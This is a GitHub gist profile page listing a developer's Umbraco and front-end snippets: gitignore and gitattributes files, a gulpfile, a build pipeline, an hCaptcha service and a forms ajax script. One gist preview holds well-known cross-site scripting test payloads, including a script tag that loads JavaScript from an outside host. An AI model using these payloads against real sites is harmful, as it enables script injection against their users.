Skip to content

Instantly share code, notes, and snippets.

View AaronSadlerUK's full-sized avatar

Aaron AaronSadlerUK

View GitHub Profile
@AaronSadlerUK
AaronSadlerUK / .gitignore
Created March 31, 2020 20:11
Umbraco 8 .gitignore
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
@AaronSadlerUK
AaronSadlerUK / .gitattributes
Last active May 16, 2020 16:52
Umbraco 8 Git-LFS .gitattributes
###############################################################################
# Set default behavior to automatically normalize line endings.
###############################################################################
* text=auto
###############################################################################
# Set default behavior for command prompt diff.
#
# This is need for earlier builds of msysgit that does not have it on by
# default for csharp files.
# Note: This is only used by command line
@AaronSadlerUK
AaronSadlerUK / gulpfile.js
Last active May 18, 2020 09:02
Gulpfile containing scss compiler with autoprefixer, css minification, js compiler with babel, js minification and css / js versioning
"use strict";
const gulp = require("gulp");
const sass = require("gulp-sass");
const sourcemaps = require("gulp-sourcemaps");
const autoprefixer = require("gulp-autoprefixer");
const cssmin = require("gulp-cssmin");
const rename = require("gulp-rename");
const minify = require("gulp-minify");
const babel = require("gulp-babel");
@AaronSadlerUK
AaronSadlerUK / main.yml
Last active June 9, 2020 20:30
Azure Dev Ops Build Pipeline for Umbraco 8
pool:
name: CHANGEME
demands:
- npm
- node.js
- msbuild
- visualstudio
steps:
- task: Npm@1
@AaronSadlerUK
AaronSadlerUK / BackofficeJson.json
Last active January 6, 2021 13:46
Grid Dropdownlist Setting
{
"label": "CSS Class",
"description": "Specify a css class",
"key": "class",
"view": "/App_Plugins/grid/editors/dropdownlist.html",
"applyTo": "row",
"prevalues": [
"value_1",
"value_2",
"value_3",
@AaronSadlerUK
AaronSadlerUK / HttpOverrides.cs
Created March 19, 2021 10:25
How to fix Request.Url.Scheme returning http instead of https on load balanced site - Blog post: https://aaronsadler.dev/2021/march/19/how-to-fix-request-url-scheme-returning-http-instead-of-https-on-load-balanced-site/
public sealed class HttpOverrides : IHttpModule
{
void IHttpModule.Init(HttpApplication app)
{
app.BeginRequest += OnBeginRequest;
}
private void OnBeginRequest(object sender, EventArgs e)
{
HttpApplication app = (HttpApplication)sender;
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
@AaronSadlerUK
AaronSadlerUK / AnySurfaceController.cs
Last active May 18, 2021 11:19
hCaptcha Service for use with a Surface Controller or any MVC Controller (With light modifications)
public class AnySurfaceController : SurfaceController
{
private readonly IhCaptchaService _hCaptchaService;
public AnySurfaceController(IhCaptchaService hCaptchaService)
{
_hCaptchaService = hCaptchaService;
}
[ValidateAntiForgeryToken]
[HttpPost]
@AaronSadlerUK
AaronSadlerUK / umbraco-forms-ajax.js
Last active May 5, 2022 11:30
Umbraco Forms (Single Page) submit within bootstrap modal using ajax
// jQuery plugin to prevent double submission of forms
jQuery.fn.preventDoubleSubmission = function () {
$(this).on('submit', function (e) {
e.preventDefault();
var modal = $(this);
var $form = $(this).children('form').first();
if ($form.data('submitted') === true) {
// Previously submitted - don't submit again